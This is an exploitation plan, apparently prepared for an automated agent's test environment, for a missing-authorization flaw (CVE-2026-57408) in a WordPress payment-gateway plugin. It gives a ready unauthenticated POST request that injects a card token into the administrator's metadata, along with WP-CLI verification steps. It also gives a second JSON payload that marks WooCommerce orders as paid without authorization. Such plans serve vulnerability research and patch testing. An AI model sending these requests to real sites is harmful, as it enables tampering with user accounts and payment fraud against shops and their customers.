Exploitation Research Plan - CVE-2026-57408

1. Vulnerability Summary

The Peach Payments Gateway plugin (versions <= 4.0.2) is vulnerable to Missing Authorization within its init hook handler located in includes/class-init.php. The plugin registers an anonymous function on the init hook that processes card registration returns from the Peach Payments gateway.

This handler fails to perform any capability checks or nonce verification. Furthermore, it allows the user_id to be specified directly in the $_POST['customParameters']['WOOCOMMERCE_USER'] parameter. An unauthenticated attacker can exploit this to inject arbitrary card tokens (registration IDs) into the metadata of any WordPress user, including administrators.

2. Attack Vector Analysis

• Endpoint: Any frontend or backend URL (the handler runs on the init hook).
• Trigger: The request must include the query parameter pp_add_card_return.
• Method: POST.
• Authentication: None (unauthenticated).
• Vulnerable Sink: update_user_meta($user_id, 'my-cards', $cards).
• Payload Parameters:
  • customParameters[WOOCOMMERCE_USER]: The target user's ID (e.g., 1).
  • registrationId: The malicious token/string to inject.
  • result_code: A code signifying success (e.g., 000.000.000).
  • Supplemental card display fields: card_last4Digits, card_holder, paymentBrand, card_expiryMonth, card_expiryYear.

3. Code Flow

1. Hook Entry: WC_Peach_Gateway_Init::init() (in includes/class-init.php) registers an anonymous function on the init hook (line 88).
2. Conditional Check: The function checks if isset( $_GET['pp_add_card_return'] ) (line 89).
3. User Identification: It extracts the target user ID from $_POST['customParameters']['WOOCOMMERCE_USER'] (lines 92-93).
4. Result Validation: It checks if PP_Gateway_Order_Utils::is_successful_result_code($_POST['result_code']) returns true (line 102).
5. Metadata Update: If successful, it constructs a $card_data array and appends it to the target user's my-cards meta via update_user_meta (line 119).

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce. The vulnerable logic is located within an init hook that serves as a callback for the Peach Payments gateway. Because it is designed to receive asynchronous POST requests from an external service, it lacks standard WordPress CSRF (nonce) protections and fails to implement any alternative verification (such as request signing or IP whitelisting).

5. Exploitation Strategy

The goal is to inject a "malicious" card token into the Administrator's account (User ID 1).

HTTP Request (via http_request tool):

• URL: http://localhost:8080/?pp_add_card_return=1
• Method: POST
• Headers:
  • Content-Type: application/x-www-form-urlencoded
• Body:

registrationId=MALICIOUS_TOKEN_CVE_2026_57408
&result_code=000.000.000
&customParameters[WOOCOMMERCE_USER]=1
&card_last4Digits=1337
&card_holder=Attacker
&paymentBrand=VISA
&card_expiryMonth=12
&card_expiryYear=2030

(Note: 000.000.000 is the standard Peach Payments success code (inferred from class-peach-api.php)).

6. Test Data Setup

1. Ensure the Peach Payments Gateway plugin (version 4.0.2) is installed and active.
2. Ensure WooCommerce is active.
3. Confirm that an administrator user exists with ID 1.

7. Expected Results

• The server should return a 200 OK or 302 Redirect (depending on subsequent redirection logic in init).
• The wp_usermeta table will be updated for user 1.
• A new entry will be added to the my-cards meta key containing the registrationId "MALICIOUS_TOKEN_CVE_2026_57408".

8. Verification Steps

After sending the HTTP request, verify the injection using WP-CLI:

wp user meta get 1 my-cards

Expected output:
A serialized array (or PHP object representation) containing the injected card data:

array(
  array(
    'id'        => 'MALICIOUS_TOKEN_CVE_2026_57408',
    'num'       => 'xxxx-1337',
    'holder'    => 'Attacker',
    'brand'     => 'VISA',
    'exp_month' => '12',
    'exp_year'  => '2030',
  )
)

9. Alternative Approaches

IPN Handler Exploitation

The PP_Gateway_IPN_Handler::handle_ipn function (in includes/class-ipn-handler.php) is registered to the woocommerce_api_wc_gateway_peach_hosted hook.

• Endpoint: /wc-api/wc_gateway_peach_hosted
• Vulnerability: It also lacks authorization and processes a JSON payload.
• Payload:

  {
    "merchantTransactionId": "ORDER_NUMBER_HERE",
    "status": "SUCCESS",
    "id": "PAYMENT_ID"
  }
  

If the function PP_Gateway_Order_Utils::find_order_by_number is modified or functional in the target environment to successfully return a WC_Order object, an attacker could mark any order as "Paid" or "Completed" by guessing the order number. This acts as a secondary "Missing Authorization" vector within the same plugin.